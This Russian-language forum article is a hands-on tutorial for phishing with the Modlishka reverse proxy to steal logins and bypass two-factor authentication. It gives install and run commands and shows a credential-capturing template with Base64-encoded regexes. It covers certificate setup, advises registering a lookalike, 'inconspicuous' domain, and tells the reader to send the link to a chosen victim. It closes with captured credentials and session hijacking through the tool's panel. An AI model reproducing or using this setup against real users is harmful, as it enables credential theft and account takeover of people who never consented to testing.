Что нового

Article [Phishing] Modlishka - Reverse Proxy - Обходим 2FA

Vander 0

Vander

Команда форума
10.11.2019
487
1 125
Приветствую уважаемую аудиторию форума Protey.net

1626011637309.png

В этой статье я предлагаю рассмотреть метод кражи учетных данных пользователя, используя технологию reverse - proxy, которая позволит нам обойти двухфакторную аутентификацию.

Для этого мы будем использовать и настраивать инструмент, довольно известный в определенных кругах, под названием Modlishka.

1626011762328.png

Modlishka - мощный и гибкий обратный HTTP-прокси. Он реализует совершенно новый и интересный подход к обработке потока HTTP-трафика на основе браузера, который позволяет прозрачно проксировать многодоменный целевой трафик, как TLS, так и не-TLS, через один домен без необходимости установки какого-либо дополнительного сертификата на клиент.

Что именно это означает? Короче говоря, у него просто большой потенциал, который можно использовать во многих сценариях использования.

С точки зрения безопасности Modlishka в настоящее время может использоваться для:
  • Проведения этичных фишинговых тестов на проникновение с помощью прозрачного и автоматического компонента обратного прокси с универсальной поддержкой двухфакторной аутентификации.
  • Автоматического отравления кеша браузеров HTTP 301 и перманентного захвата URL-адресов, без TLS.
  • Диагностики и перехвата HTTP-трафика браузерных приложений с точки зрения атаки «Client Domain Hooking».
  • Оборачивания устаревших веб-сайтов в TLS, для запутывания ботов, автоматических сканеров и т.д.
Modlishka была написана как попытка преодолеть стандартные ограничения обратного прокси и как личный вызов, чтобы увидеть, что возможно при достаточной мотивации и небольшом дополнительном времени на исследование.

Достигнутые результаты оказались очень интересными, и инструмент был изначально выпущен, а затем обновлен с целью:
  • Выделить слабые места используемой в настоящее время схемы двухфакторной аутентификации (2FA), чтобы в отрасли могли быть созданы и внедрены адекватные решения безопасности.
  • Поддержиать другие проекты, которым может быть полезен универсальный и прозрачный обратный прокси.
  • Повысить осведомленность сообщества о современных методах и стратегиях фишинга и поддержать тестировщиков на проникновение в их повседневной работе.
Modlishka была в первую очередь написана для задач, связанных с безопасностью. Тем не менее, это может быть полезно в других сценариях использования, не связанных с безопасностью.

Эффективное проксирование!

Features

Общие:
  • Обратное проксирование HTTP и HTTPS произвольного домена по принципу «наведи и щелкни».
  • Полный контроль над потоком трафика TLS с перекрестным происхождением из браузеров ваших пользователей (без необходимости установки каких-либо дополнительных сертификатов на клиенте).
  • Простая и быстрая настройка с помощью параметров командной строки и файлов конфигурации JSON.
  • Внедрение полезной нагрузки JavaScript на основе шаблонов.
  • Обертывание веб-сайтов с дополнительной «безопасностью»: обертывание TLS, аутентификация, соответствующие заголовки безопасности и т. д.
  • Удаление веб-сайтов из всех заголовков шифрования и безопасности (назад к стилю MITM 90-х).
  • Дизайн без сохранения состояния. Можно легко масштабировать для обработки произвольного объема трафика - например, через балансировщик нагрузки DNS.
  • Может быть легко расширен вашими идеями с помощью модульных плагинов.
  • Плагин автоматического тестирования TLS-сертификата для прокси-домена (требуется самозаверяющий сертификат CA)
  • Написано на Go, поэтому работает практически на всех платформах и архитектурах: Windows, OSX, Linux, поддерживается BSD.
Связанные с безопасностью:
  • Поддержка большинства схем аутентификации 2FA (из коробки).
  • Практическая реализация атаки «Client Domain Hooking». Поддерживается диагностическим плагином.
  • Сбор учетных данных пользователя (с контекстом на основе идентификаторов, переданных параметром URL).
  • Плагин веб-панели со сводкой автоматически собираемых учетных данных и модуль олицетворения сеанса пользователя одним щелчком (proof-of-concept / beta).
  • Нет шаблонов веб-сайтов (просто укажите Modlishka на целевой домен - в большинстве случаев он будет обработан автоматически без дополнительной ручной настройки).
Installation

Последнюю версию исходного кода можно загрузить здесь (zip) или здесь (tar).

Получите код с помощью go get:

Код:
go get -u github.com/drk1wi/Modlishka
1626011818097.png

Осуществляем пробный запуск:

Код:
Modlishka
1626011873899.png

Вывод больше информативный, чем практический, но это указывает на отсутствие ошибок при установке.

Проверяем работу непосредственно обратного прокси сервера, выполняем следующую команду:

Код:
Modlishka -config /usr/local/Projects/pkg/mod/github.com/drk1wi/\!modlishka@v0.0.0-20200628043644-00a2385a0952/templates/google.com_gsuite.json
  • В качестве аргумента указываем дефолтный конфиг google.com
1626012248877.png

При переходе на локальный адрес сервера, где работает Modlishka, мы должны получить редирект на стартовую страницу Google.

1626011931719.png

Достигается это следующим образом:

Страница, которую мы запрашиваем содержит:

Код:
<a href="http://google.com">Found</a>
Соответственно ответ от сервера будет выглядеть так:

1626012061912.png

Двигаемся далее, создаем SSL сетрификат:

Код:
openssl genrsa -out MyRootCA.key 2048
1626012397499.png

Код:
openssl req -x509 -new -nodes -key MyRootCA.key -sha256 -days 1024 -out MyRootCA.pem
1625923054969.png

В итоге имеем два файла:

1625923153184.png

Копируем содержимое этих файлов в autocert.go.

1625927517518.png

Собираем заново.

Код:
make
1625927717345.png

Затем необходимо импортировать сертификат в браузер пользователя (это мы проворачиваем в тестовой среде), ниже разберем настройку с выделенным сервером, и "чистым" фишингом.

1625938859910.png


1625938883526.png

Представляем, что всё прошло идеально, и можно засылать фишинговую ссылку пользователю.

Перед тем как начнем, необходимо заглянуть в templates в директории с Modlishka. Нам доступно только два темплейта:
  • Google
  • Microsoft
Могу сразу сказать, что доступные нам дефолтные шаблоны Google и Microsoft не сработают, так что нам остается научится делать свои шаблоны.

Прелесть Modlishka, в том, что нам не нужно утомительно писать свой клон сайта, или делать что-то в духе phislets с Evilginx.

Темплейт представляет из себя json файл, просто копируем его и меняем под свои нужды.

1625939815202.png

Необходимо изменить пять ключевых параметров:
  • "target"
  • "trackingCookie"
  • "log"
  • "credParams"
  • "plugins"
"target" - Целевой сайт.

"trackingCookie" - Название параметра хранящего сессионный токен:

1625940123270.png

"log" - Имя файла, куда будут падать логи.

"credParams" - Сюда необходимо поместить в закодированном в Base64 виде, имена параметров + резулярные выражения которые будут характеризовать вводимые символы.

Перехватываем запрос авторизации на сайте:

1625940339126.png

Здесь нас интересуют два параметра:
  • login
  • password
Пишем регулярные выражения в духе:
  • login=((?:\w+[\.\-\_]){0,}\w+)&
  • password=((?:\w+[\.\-\_]){0,}\w+)&
И кодируем это всё в Base64:
  • bG9naW49KCg/Olx3K1tcLlwtXF9dKXswLH1cdyspJg==,cGFzc3dvcmQ9KCg/Olx3K1tcLlwtXF9dKXswLH1cdyspJg=="
Закидываем это всё в наш новый json темплейт.

"plugins" - Включаем все доступные плагины - "all"

Запускаем Modlishka следующей командой:

Код:
./proxy -config /usr/local/Projects/pkg/mod/github.com/drk1wi/\!modlishka@v0.0.0-20200628043644-00a2385a0952/templates/protey.json
Теперь, при переходе по ссылке:

Код:
https://loopback.modlishka.io
Мы попадаем на целевой сайт, где вводим учетные данные, которые успешно передаются атакующему:

1625941137006.png

К тому же, в панели управления Modlishka по адресу:

Код:
http://loopback.modlishka.io/SayHello2Modlishka
Мы получаем контроль над сессией жертвы, в этом и заключается принцип обхода 2FA, мы полностью контролируем сессию получив данные о сеансе пользователя.

1625941366180.png

Выглядит неплохо, но что если у атакующего нет возможности добавить сертификат в браузер жертвы?

Попробуем разобраться.

Для начала вернемся к редактированию конфигурационного файла. Добавим немного реализма к происходящему.

Жертва должна быть перенаправлена куда-нибудь после входа в систему, которая может быть, например, реальной учетной записью на форуме. В демонстрационных целях мы и будем рассматривать этот вариант.

"terminateRedirectUrl": "https://protey.net"

1625943742037.png

Затем нам понадобится сервер с "белым" IP-адресом, на котором будет располагаться Modlishka, можно использовать роутер + пробросить порты, если IP "белый" статический.

Будем считать, что всё это у вас уже есть и настроено. Покупаем созвучный домен, стараемся максимально мимикрировать под целевой сайт.

В моем случае, это беспалевный - phishing.protey.net

Далее раздобудем для него сертификат, можно купить, но для тестов сгодится и LetsEncrypt.

Код:
certbot certonly --manual --preferred-challenges dns --manual-public-ip-logging-ok -d '*.phishing.protey.net' -d phishing.protey.net
Следуя инструкции, добавляем TXT запись и получаем весь набор сертификатов.

1626008545543.png

Нас интересуют два файла:
  • fullchain.pem
  • privkey.pem
Копируем их в папку с Modlishka.

Вернемся к конфигурационному файлу, параметры:

"cert"
"certKey"


Принимают значения в одну строку, для этого на необходимо немного изменить файлы сертификатов:

Код:
sed -i ':a;N;$!ba;s/\n/\\n/g' privkey.pem
sed -i ':a;N;$!ba;s/\n/\\n/g' fullchain.pem
Затем просто копируем их содержимое, и подставляем в параметры, чтобы получилось так:

1626008886734.png

Ещё немного правок в конфигурационный файл:

"proxyDomain": "phishing.protey.net",
"trackingParam": "ident" - Для того, чтобы сохранялсь куки жертвы.
"terminateTriggers": "/whats-new/", - Нет необходимости держать жертву постоянно через прокси, создаем триггер, который при переходе на страницу "Что нового", будет обрывать сессию и перенаправлять пользователя на легитимный сайт.

Убеждаемся, что у нас всё готово к фишингу:
  • Сервер с Modlishka, роутер с белым статическим IP, проброс портов и т.д.
  • Куплен домен.
  • Получены сертификаты.
  • Нет ошибок в конфигурационном файле.
Запускаем Modlishka и делимся ссылкой с пользователем, чьи учетные данные нам хотелось бы получить.

Код:
./proxy -config /usr/local/Projects/pkg/mod/github.com/drk1wi/\!modlishka@v0.0.0-20200628043644-00a2385a0952/templates/protey.json
1626009275804.png

Результатом будут перехваченные учетные данные пользователя, а затем перенаправление пользователя, на реальный сайт.

1626011010512.png

В консоли управления Modlishka мы получаем всю необходимую информацию о сессии пользователя:

1626011164559.png

Вывод: Очень простой, универсальный и гибкий инструмент, однозначно полезен.

Спасибо за внимание, материал подготовлен специально для protey.net.​
 
Последнее редактирование:
Верх Низ